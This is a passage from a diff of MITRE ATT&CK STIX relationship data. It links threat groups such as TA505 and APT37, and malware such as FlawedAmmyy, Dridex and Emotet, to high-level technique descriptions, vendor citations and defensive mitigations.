[TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-06-01T15:46:48.052Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T18:49:59.356Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019" + }, + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + }, + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", + "source_name": "Proofpoint TA505 October 2019" + }, + { + "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.", + "source_name": "IBM TA505 April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--239a4ed5-afe6-4d1d-8dfe-ee4df7bc01ba", + "description": "(Citation: Proofpoint TA505 Sep 2017)(Citation: IBM TA505 April 2020)", + "target_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2020-06-01T14:53:46.623Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T18:49:59.414Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.", + "source_name": "IBM TA505 April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1b215137-e9e7-4022-af63-8d932c384eb2", + "description": "(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)", + "target_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "modified": "2020-05-29T20:09:49.523Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:08:05.735Z", + "external_references": [ + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", + "source_name": "Proofpoint TA505 October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--97361e60-4c54-48f6-a661-e3bd36b9745e", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect if a usable smart card is current inserted into a card reader.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2019-05-30T17:23:30.532Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:51:24.729Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2b8418de-6474-49e2-84f0-01ffe6c07a42", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the current user during the initial infection.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-05-30T17:23:30.547Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:51:24.751Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d95b411-1192-42d0-96b1-98fe18742a04", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) beacons out the victim operating system and computer name during the initial infection.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-05-30T17:23:30.579Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:51:24.755Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7da97f5c-fd61-4181-9775-47abbd5250c0", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) will attempt to detect anti-virus products during the initial infection.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "modified": "2019-05-30T17:23:30.636Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:51:24.768Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bc4b8f68-3570-474e-8157-225afddda463", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used SEAL encryption during the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-20T23:52:23.789Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:59:45.865Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--efd7f218-0e23-458b-be17-afad9545fa25", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) may obfuscate portions of the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "modified": "2019-05-30T17:23:30.638Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:59:45.884Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9a5d5258-e0c3-4d73-9d5f-122ed3d7d920", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used HTTP for C2.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:19:25.373Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:59:45.899Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2ac6157e-2fd2-4e67-892a-f6407d6cbd81", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used port 443 for C2.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-05-30T17:23:30.634Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T19:59:45.905Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--38f54e6f-502c-4af5-9867-fa9fb8381662", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) leverages WMI to enumerate anti-virus on the victim.(Citation: Proofpoint TA505 Mar 2018)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2019-05-30T17:23:30.640Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-28T20:01:03.241Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2f350d97-8492-4eb4-8640-2c3ae2bc8df1", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has used msiexec to download and execute malicious Windows Installer files.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "modified": "2020-05-29T19:02:07.218Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-29T12:47:44.943Z", + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", + "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.", + "source_name": "Trend Micro TA505 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--841acdc1-42c3-4f7d-9840-c9e4057bc2ab", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has leveraged rundll32.exe to execute malicious DLLs.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2019-06-24T19:11:41.455Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-29T13:02:31.636Z", + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). 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Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--60026624-0ae9-439a-8ee8-faee7ce6ddf0", + "description": "(Citation: Proofpoint TA505 Jan 2019)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)", + "target_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "modified": "2020-05-29T20:09:49.511Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-29T14:33:43.929Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). 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ServHelper and FlawedGrace - New malware introduced by TA505. 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ServHelper and FlawedGrace - New malware introduced by TA505. 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Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.", + "source_name": "Checkpoint Dridex Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3f3fffec-6c91-45e2-8c4c-d1c7bdcde76b", + "description": "[Dridex](https://attack.mitre.org/software/S0384) can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.(Citation: Dell Dridex Oct 2015)", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "modified": "2019-05-31T15:35:30.946Z", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-05-31T14:15:06.363Z", + "external_references": [ + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). 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Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c8208ad-b295-4e39-a928-40fc49f68fb4", + "description": "[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.(Citation: Unit42 Xbash Sept 2018)\t", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "modified": "2019-06-28T15:15:54.581Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-04T13:43:04.496Z", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--09c8ec4f-c76b-4a36-994f-4ed4d87b7ad8", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices. 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Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4a8f7699-3bcd-4586-b029-f43756681805", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.(Citation: Securelist ScarCruft May 2019)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2019-09-09T19:12:32.839Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-04T14:12:42.107Z", + "external_references": [ + { + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", + "description": "GReAT. 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Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--90be71e4-6b38-4411-aac5-09711a334393", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has the ability to gather a list of files and directories on the infected system.(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-03-29T19:50:54.274Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-04T14:17:34.176Z", + "external_references": [ + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). 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Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "source_name": "Bromium Ursnif Mar 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11f31998-c76f-4433-8e9c-c0ef0b7574d5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used WMI to execute powershell.exe.(Citation: Carbon Black Emotet Apr 2019)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2019-06-28T15:25:30.142Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-10T18:55:43.635Z", + "external_references": [ + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ed7da11c-2d18-4137-9911-e18138603acf", + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "modified": "2020-12-17T18:18:15.072Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T14:49:56.162Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc", + "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2021-04-24T13:40:53.284Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T15:56:45.879Z", + "external_references": [ + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + }, + { + "source_name": "Microsoft runas", + "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7106aee3-498a-46b6-a851-8de1289c26d4", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "modified": "2020-01-24T14:33:05.834Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T15:59:46.281Z", + "external_references": [ + { + "source_name": "TechNet RDP NLA", + "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f2107311-d59b-4b7e-97d5-b3c0a77835b6", + "description": "If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "modified": "2020-01-24T14:33:05.883Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-13T15:59:46.332Z", + "external_references": [ + { + "source_name": "TechNet RDP Gateway", + "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--620d641c-8f76-45f3-a86f-03dd28399d5c", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)", + "target_ref": 